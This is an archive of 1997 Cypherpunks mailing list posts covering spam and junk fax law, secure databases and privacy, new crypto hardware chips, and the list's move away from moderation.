From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:43:40 -0800 (PST)
Subject: Welcome
Message-ID: <199702151039.KAA03926@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Advance Listings mailing list.

You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 10:47:41 -0800 (PST)
To: snow <jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <v03007800af2bb42ce4e7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM -0600 2/15/97, snow wrote:
>Mr. Bell wrote:

>> However, you connect that fax machine to a phone line, when you know full
>> well that should it be enabled to do so, it will automatically pick up the
>> phone when it "hears" a ring, and will print out a fax based on information
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone
>to come wandering in to my home. Is it legal, just because I have my
>home hooked to the street, for someone to come in and help themselves to
>a beer out of my fridge?

The proper parallel is to _knocking on the door_. Talking about "unwanted
phone calls" or "unwanted faxes" as being equivalent to entering a house
and wandering around is incorrect.

Consider a door with a doorbell or knocker. It is set up (by millenia of
tradition in our society) as a means of contacting the residents and
keeping them from entering.

Similarly, a listed phone number, or a phone number gotten through various
means, is a means of contacting those owning the number. Anyone is free to
call anyone--no permission is needed.

Our society fairly reasonably allows tort relief for, say, having one's
doorbell rung frequently or at odd hours. On the fax issue, similar tort
relief could be obtained if a person or business was truly "under attack."

(Purists, like me, would probably prefer technological solutions even in
these cases. Leave a phone on answering machine mode, only switch on the
fax mode when a fax is expected, etc.)

These tort actions are a far cry from proposals that anyone whose knock on
the door, or phonecall, or e-mail, or fax is subject to criminal
prosecution under proposed new laws.

(I think the courts are already clogged enough, and I have faith that no
court in the land will accept a case where no real harm was done. A friend
of mine got mailbombed with 25,000 e-mail messages in one day, shutting
down his account until the mess could be cleaned up, and it's not even
likely he'll ever get any relief.)

What CompuServe did was quite different, as CompuServe decided that some
e-mail would not be delivered. This is essentially comparable to the Postal
Service deciding that mail from the National Rifle Association is, to them,
"junk," or to the phone company deciding that phone calls from Libya or
Iraq or some other unfavored nation will be fed to a dead number.

Getting the courts and the regulators involved in deciding what speech is
junk and what is not junk is unconstitutional, which was my earlier point.

--Tim May


On the f

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:56:43 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151746.LAA18969@manifold.algebra.com>
Message-ID: <330606D5.403A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dave Hayes wrote:
> > > > Ok. I'll "put up".
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> I think that the ideas of a distributed list and the idea of
> alt.cypherpunks are both good and these two mediums complement
> each other.

I can certainly accept this, but it would be nice if someone summarizes
these feeds every now and then, as time to check them all out is very
limited.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:00:07 -0800 (PST)
To: Peter Swire <swire.1@osu.edu>
Subject: Re: Query on "secure databases"
Message-ID: <3.0.1.32.19970215105725.006383e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks
At 04:43 PM 2/11/97 -0500, Peter Swire <swire.1@osu.edu> wrote:
>        Can you point me to anything I can read on "secure databases"?  I
>hadn't hit that term before.  I am curious to what extent they are secure
>due to cryptographic approaches, or to what extent you rely on other
>mechanisms for keeping out unauthorized users.

It's been a long time since I've looked much into it, since I
was getting out of phone-company-defense-contractor mode at the time the
field was developing.  I think the NCSC Rainbow Book that deals
with secure databases is the Purple Book, though it might be the Gray.
Oracle and/or Sybase have done some work trying to do databases
at the B1 or B2 level, but I don't know details.  

I'll talk about secure databases a bit, but for the real world
there's more useful stuff that isn't related to them.

=================== Begin "Secure Database" Section ==============
At the time, the Orange Book (security for standalone computers) was 
well-understood, though there weren't really any systems above B2 level,
and the Red Book was written, but nobody really had a clue how to
implement multi-level machines on a multi-level LAN, though
you could use encrypting Ethernet cards to get single-level machines
of different levels on the same LAN, if they were all administered
by the same group of people (so user-IDs and security levels
worked across the entire system.)  

At the lower security levels, Orange Book techniques mainly involve 
removing bugs and adding accounting features.  At the higher levels, 
the key is to come up with a good mathematical/logical model of
interactions in your computer system, and then design a computer system
that only does the things permitted by the model and prove it does that.
Some of these systems use cryptographic techniques, including some of
the capability-based systems - see Bill Frantz's KeyKOS work, which he's
referred to on Cypherpunks occasionally. 

The objective is to have databases that can be accessed by multiple users
with different sets of security permissions.  In the military vernacular,
this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe
TOP SECRET data in the database, where not all users are cleared
to the highest security level, and maybe projects X, Y, and Z,
where users of project X may not have a need to know for project Y, etc.

The easy problems are probably solved by now - either you do a good job
of verifying the design and bug-free-ness of your database software
so you can be sure that each request includes, and obeys, security levels,
or you use crypto to encrypt the data items for each security level
(e.g. everybody with a SECRET or PROJECT Z clearance shares a key 
for that data, which isn't really ideal for non-small groups of people,
the database just tries to do a good job, and you only do operations in
the database that make sense when the data is encrypted, though that's
annoyingly restrictive for many applications.)

The sticky problems are aggregation-related.  It may be ok if an uncleared
person knows that military base A has missile types 1, 3, and 5,
and if the uncleared person knows where all your military bases are.
But is it ok if the uncleared person knows about _all_ the missiles
at _all_ the bases, and can tell that nobody's using Type 2 missiles
any more, and that all the Type 4 missiles got moved to New Jersey last week?

=============== End "Secure Database" section =================
=============== Begin "Real-World and Crypto" section =========
For the average person, though, the simple military models aren't 
really useful.  You really care more about groups of people,
though the multi-level stuff is sometimes a good way to keep 
machines from being hacked.  

But the real problem is that computers are very good at correlating
information - 
if two different companies know your Social Security Number,
and they share their data with each other (maybe for a price),
then they can all tie together everything they each know about you.
And there's no way to stop it, except by limiting the information
you give people (which limits the transactions they'll do with you),
or contractually limiting what they can do with it (good luck),
or using multiple identities - and even then, computers are
often good at guessing that the John Doe at 1234 Main Street
is the related to Jane Smith at 1234 Main Street, and maybe 
the foreign car parts Jane bought on her American Express are
for the Porsche registered to John, so there's a junk-mail opportunity.

There's really only one technology that lets you avoid this,
which is crypto and its relatives - though you still have to 
get people you use business with to use it, which is an uphill game.
Some of the fundamental work on this is David Chaum's papers
on Credentials without Identity (or something about like that, from ~1985.)
For instance, you can have a voter registration number that's
cryptographically signed by the voting bureau, but uses blinded
signatures so they can't correlate the known good unique number
with the Peter Swire who walked in and showed a picture ID one day.
A driver's license smartcard could keep a pointer to your driving records,
but wouldn't give your True Name, and would only show a cop
that the person whose picture is on the front is a Licensed Driver,
and maybe could demonstrate that the bearer knows the card's PIN.

One big issue is that the government is pushing banks to demand SSNs,
and requiring employers to demand SSNs (makes them easy Employee IDs),
and pushing medical insurers and providers to use SSNs (makes it
easy to collect Medicare data.)  You can gain a lot of privacy
just by having employers use their own employee-ID numbering system,
so the travel agent subcontracting to Corporate Travel
doesn't need your SSN on every form they fill out.
But suppose the Social Security Administration and IRS issued you a bunch
of separate numbers, that were either related using a cryptographic key,
or just randomly picked and kept in a big database (maybe pointing to
your old SSN), so you could give everybody who needs a Tax ID a different
number, and only you and the IRS could correlate them.
(To some extent, you can do this yourself by creating lots of
companies, but it's a real pain and costs a certain amount of money.)

=============== addendum =====================
Of course, for many transactions, the way to reduce the privacy problems
is to use bearer certificates rather than book-entry approaches -
pay cash, or digicash, rather than credit cards, use on-line
anonymous delivery of bits, or picking up stuff in person,
rather than mailing stuff to a snail address, etc.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Fri, 14 Feb 1997 14:05:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <85595791717269@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 10:56:16 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150843.AAA07793@toad.com>
Message-ID: <v03007801af2bb7fecac8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:

>I much prefer the plan where a potential mail correspondant includes an
>e-cash dollar directly cashable by me.  If I like the mail (and the
>sender), I throw the dollar away and the sender goes on the approved
>list.  If not, I keep the dollar, and the sender goes on the twit list.
>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>still be getting a bargain.  And potentially, some receivers may throw
>away the dollar and welcome the spam.

The basic flaw in all of these schemes is that they are "top-down"
solutions, imposed on the market for invented reasons.

The reason paper mail "spam" (advertisements, solicitations, whatever)
costs whatever it costs (hint: less than a dollar...check the Bulk Rate
prices, and look for the 8-cent and 16-cent stamps on many of the
solicitations) is because this is what the Postal Service charges.

Granted, the USPS is hardly a free market player, and uses force to keep
out competitors, but the general principle is that some semi-market-based
fee is charged, and larger packages will cost more, etc.

The basic flaw with e-mail is that the senders of e-mail are not paying for
carriage.

However, just "making up" a fee--as Roy does here, and as Jim Bell and
others have done before--is not a solution either. Nor does it stand any
chance of being "enforced" (for a large number of reasons I won't get into
here).

I don't expect any solutions anytime soon, but I certainly will not push
for "synthetic" prices which do not solve the underlying problem.

--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 08:21:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptanalysis
Message-ID: <3305E270.274EC8C6@sauge.com>
MIME-Version: 1.0
Content-Type: text/plain


Was wondering if anyone could help me with short explainations on the
cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
might get a better idea of what i'm trying to accomplish.

Vague explanations are OK.  Dont want long drawn out explainations on
the implementation of an attack (source code, proofs, statistical
analysis and the like), just a short explaination of the attack.

Thanks all, 

Scott
-- 
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:21:29 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702151740.LAA04710@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
> >Tim may says:
> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> >>violations of the First Amendment. I understand why the herd _wants_ these
> >>laws, as it reduces the costs involved in replacing fax paper, running to
> >>the telephone only to find someone trying to sell something, etc., but it
> >>is quite clearly a prior restraint on speech, however well-intentioned.
> >I have to disagree here.  The junk fax law is a restraint on unauthorised
> >use of property, i.e. *my* fax machine, *my* phone, etc. 
> However, you connect that fax machine to a phone line, when you know full 
> well that should it be enabled to do so, it will automatically pick up the 
> phone when it "hears" a ring, and will print out a fax based on information 
> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
> junk mail, or making a (voice) phone call to somebody.

	That is a ridiculous argument. The door to my home is connected
to the street,m and I know full well that that makes it easy for anyone 
to come wandering in to my home. Is it legal, just because I have my 
home hooked to the street, for someone to come in and help themselves to 
a beer out of my fridge?

	Nope. Sure I realize that they _can_, but that doesn't make it right,
and it doesn't make it legal. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:24:17 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150726.BAA13632@manifold.algebra.com>
Message-ID: <199702151743.LAA04722@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Well, they will stop sending you money if they find out that you do not buy
> their products.
> 
> 	- Igor.

	As long as they stop sending the Ads. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 09:49:26 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <3305F615.BBB@gte.net>
Message-ID: <199702151746.LAA18969@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dave Hayes wrote:
> > > Ok. I'll "put up".
> > > If the cypherpunks will have me, -I'll- run the cypherpunks
> > > list. Those that know me know that I will *not* censor, moderate, or
> > > otherwise alter the content (other than the stuff majordomo does with
> > > "resend") of any messages to the list.
> 
> > I think that it is a great idea. If you want to contribute to the
> > effort to keep the list, this is great. You could join the network of
> > other cypherpunks mailing lists.
> > There is a small list for discussing these networking issues,
> > cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> > se, but rather for discussing how we proceed with these lists.
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

I think that the ideas of a distributed list and the idea of 
alt.cypherpunks are both good and these two mediums complement 
each other.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sat, 15 Feb 1997 11:54:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <3.0.32.19970215115529.015b9da0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 2/15/97 -0800, owner-cypherpunks@toad.com wrote:
>

Wow, the entire text of these messages were deleted.  And they came from
the list owner!  The censorship here is even worse that I had imagined...


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 15 Feb 1997 13:02:00 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: RRE: Cybersitter
In-Reply-To: <199702150112.RAA20370@toad.com>
Message-ID: <3.0.1.32.19970215125020.02ca86d0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:15 PM 2/14/97 EDT, E. Allen Smith wrote:
>From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
>To:	IN%"rre@weber.ucsd.edu"
>CC:	
>Subj:	Cybersitter
>
>[Forwarded with permission.]
>
[snip]
>Wallace says Solid Oak responded by adding his Webzine to its block
>list. Learning of this, Wallace wrote Milburn and Solid Oak tech
>support.
>
>"I pointed out that _The Spectacle_ does not fit any of their published
>criteria for blocking a site," he says. "I received mail in return
>demanding that I cease writing to them and calling my mail 'harassment'
>-- with a copy to the postmaster at my ISP."
>
>Kanter acknowledges this. "He spoke to us more than once or twice -- he
>continued to send mail -- mail like that is considered 'not wanted' and
>is automatically sent back."

Kanter has sent mail like this on a first message.  I friend of mine who
writes for a local computer magazine (Computer Bits) wrote to Solid Oak with
a critical letter and got the same treatment.  Nothing addressing any of the
criticisms about the software or the company, just a nasty-gram to him and
his postmaster.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwYhcOQCP3v30CeZAQE0zwf/QH6PaErjf7osoEvTd2rbRMFkO//tacAi
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Ptie4DMvz2MSymBYWDPap0rwTLxPK+SOw31I5rUzPdpyA0gjaj/7/Q==
=kkJ3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:08:37 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150439.UAA04787@mail.pacifier.com>
Message-ID: <199702151807.NAA15513@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:12:31 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150440.UAA04809@mail.pacifier.com>
Message-ID: <199702151811.NAA15530@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 15 Feb 1997 10:21:55 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702150841.AAA07715@toad.com>
Message-ID: <199702151820.NAA15563@idaho.ubisg.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fjegan@airmail.net (Frank J. Egan)
Date: Sat, 15 Feb 1997 11:20:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: FYI
Message-ID: <m0vvpf5-0000bSE@mail.airmail.net>
MIME-Version: 1.0
Content-Type: text/plain


This was posted to a financial information site on Friday:

OPEN MARKET INC (OMKT)  Yesterday, stock was given a modest lift from news
that company received approval from the Department of Commerce to export its
Internet-commerce software with a very strong version of encryption
software, becoming one of the first companies allowed to do so without first
agreeing to go along with a controversial White House requirement.

Frank
*********************************
**********Frank J. Egan**********
*Chance Favors The Prepared Mind*
*********************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Perry E. Metzger" <perry@piermont.com>
Date: Sat, 15 Feb 1997 10:29:51 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Cypherpunks Forums FAQ (life after toad.com)
In-Reply-To: <199702151404.OAA00812@server.test.net>
Message-ID: <199702151829.NAA10084@jekyll.piermont.com>
MIME-Version: 1.0
Content-Type: text/plain



BTW, for those of you who haven't tried it, cryptography@c2.net, which
I run and moderate, has been pretty successful thus far in providing a
low noise high quality area for discussing cryptography and
cryptography related political issues. I invite people to join. To get
on, simply send a message to majordomo@c2.net with the words 
subscribe cryptography
in the body.

Perry

Adam Back writes:
> 
> There has been some discussion as to which list one should subscribe to
> once cypherpunks@toad.com is dead (which I would remind you is 4 days from
> now -- 19th Feb).
> 
> For those not paying attention, I have collated information about
> cypherpunks forums for your information:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 15 Feb 1997 11:13:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneEnigma
Message-ID: <199702151913.OAA09662@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Mayonnaise must have been sharing needles with a 
rabid hedgehog.

     o-:^>___? Timmy Mayonnaise
     `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Lawrence <mlawrenc@ix.netcom.com>
Date: Sat, 15 Feb 1997 12:21:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: hacking
Message-ID: <33061B90.7069@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


i'm a new minor hacker so do you think you could teach me a few things
so i could get started on some small-time hacking?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 14:12:33 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU (E. Allen Smith)
Subject: Re: Fuck UseNet (fwd)
In-Reply-To: <199702151541.HAA23094@toad.com>
Message-ID: <199702152315.PAA32758@songbird.com>
MIME-Version: 1.0
Content-Type: text


E. Allen Smith allegedly said:
> 
> From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 15-FEB-1997 07:11:54.43
> 
> >Perhaps in addition to the X-foo structures we have discussed already we
> >might consider adding,
> 
> >X-distrib-policy: foo
> 
> >Where foo might be,
> 
> >         Public Domain
> >         All rights reserved, contact author for redistribution
> >         Distribution for non-commercial uses permitted
> >         Refer to authors header
> >         Copyleft
> >         etc.
> 
> >or whatever the policy might be for a given remailer. This would
> >significantly aid folks in their shopping around.
> 
> 	The basic difficulty with this idea is that _senders_ generally
> don't have much of a choice where the messages go, once you've decided
> to accept them. In other words, just because you've decided to accept
> a message doesn't mean it suddenly becomes
> copyleft/public domain/whatever. Now, if you, say, announced that only
> subscribers to your particular list, subscribers to any other lists
> adopting the same idea, and those who'd sign a consent agreement could
> post through your list, that wouldn't be a problem... although I
> suspect you wouldn't get many subscribers.
> 	-Allen

That wouldn't be the way it work -- Jim operates one of the cp 
remailers; I operate another.  Jim has a standard policy concerning 
public domain/copyright that is different than mine.  So *I* put an 
X-distrib-policy header in all the cp mail I forward to him.  More 
precisely, all of my incoming mail for "cypherpunks@songbird.com" 
gets the header.

This protocol needs a bit of refinement, and perhaps some hacking at 
majordomo, but seems fairly straightforward.

Jim's policy is actually very reasonable.  It has a rational basis, 
though one might disagree with it, and it is easy to deal with 
it this way.  A more extreme policy -- "The operator of this mailing 
list claims an exclusive copyright on every piece of mail sent to it; 
by sending to it you agree to this policy", for example -- would be 
harder to deal with.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 14:52:11 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702151910.LAA01251@toad.com>
Message-ID: <199702152355.PAA00282@songbird.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn allegedly said:
> 
[...]
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
> I'm surprised if more people don't jump on it.  Then again, they
> took their good ol' time jumping onto cypherpunks-unedited.

Dave is offering a single mailing list, which, while I am sure Dave is
a great person, still represents a single point of control and a
single point of failure.  A distributed mailing list has a potential
for being much more robust, and for supporting a wide range of
viewpoints.  Furthermore a distributed mailing list is an interesting
minor technical problem, and a good solution could have wide
applicability.

So I think that people would like to get the distributed list going...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: codehead@ix.netcom.com
Date: Sat, 15 Feb 1997 16:25:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Welcome
Message-ID: <199702160024.SAA24787@dfw-ix10.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sat, 15 Feb 1997 10:39:28 GMT
> From:          List-Owner <nobody@diacenter.org>
> Subject:       Welcome
> Reply-to:      cypherpunks@toad.com

> Welcome to Dia's Press Releases mailing list.
> 
> You will be sent press releases about Dia's exhibitions and other programs.
> 
> If you have questions or would like to request more press information, please
> contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.
> 
> If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."
> 
